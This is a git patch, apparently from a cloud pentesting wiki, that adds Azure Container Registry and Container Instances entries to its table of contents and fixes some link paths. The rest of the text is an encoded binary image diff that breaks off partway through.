From 09b9fafab207cbf0df86eed8e6543085c4e5646a Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 12 Jan 2025 18:44:34 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation --- src/SUMMARY.md | 12 +- src/images/registry_roles.png | Bin 0 -> 33553 bytes .../az-container-instances-privesc.md | 64 +++++++ .../az-container-registry-privesc.md | 115 +++++++++++++ .../az-services/az-container-instances.md | 47 ++++++ .../az-services/az-container-registry.md | 157 ++++++++++++++++++ 6 files changed, 391 insertions(+), 4 deletions(-) create mode 100644 src/images/registry_roles.png create mode 100644 src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-privesc.md create mode 100644 src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md create mode 100644 src/pentesting-cloud/azure-security/az-services/az-container-instances.md create mode 100644 src/pentesting-cloud/azure-security/az-services/az-container-registry.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index e3e18e17d..7ab73713c 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -408,6 +408,8 @@ - [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md) - [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md) - [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md) + - [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md) + - [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-instances.md) - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md) - [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md) - [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md) @@ -445,7 +447,7 @@ - [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md) - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md) - [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md) - - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-post-exploitation.md) + - [Az - CosmosDB](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md) - [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md) - [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md) - [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md) @@ -460,14 +462,16 @@ - [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md) - [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md) - [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md) - - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md) + - [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-services/az-container-registry-privesc.md) + - [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-services/az-container-instances-privesc.md) + - [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md) - [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md) - [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md) - [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md) - [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md) - [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md) - - [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md) - - [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md) + - [Az - MySQL Privesc](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md) + - [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md) - [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md) - [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md) - [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md) diff --git a/src/images/registry_roles.png b/src/images/registry_roles.png new file mode 100644 index 0000000000000000000000000000000000000000..f1d4a361518909201ee9ff872cf1002c4acf238c GIT binary patch literal 33553 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 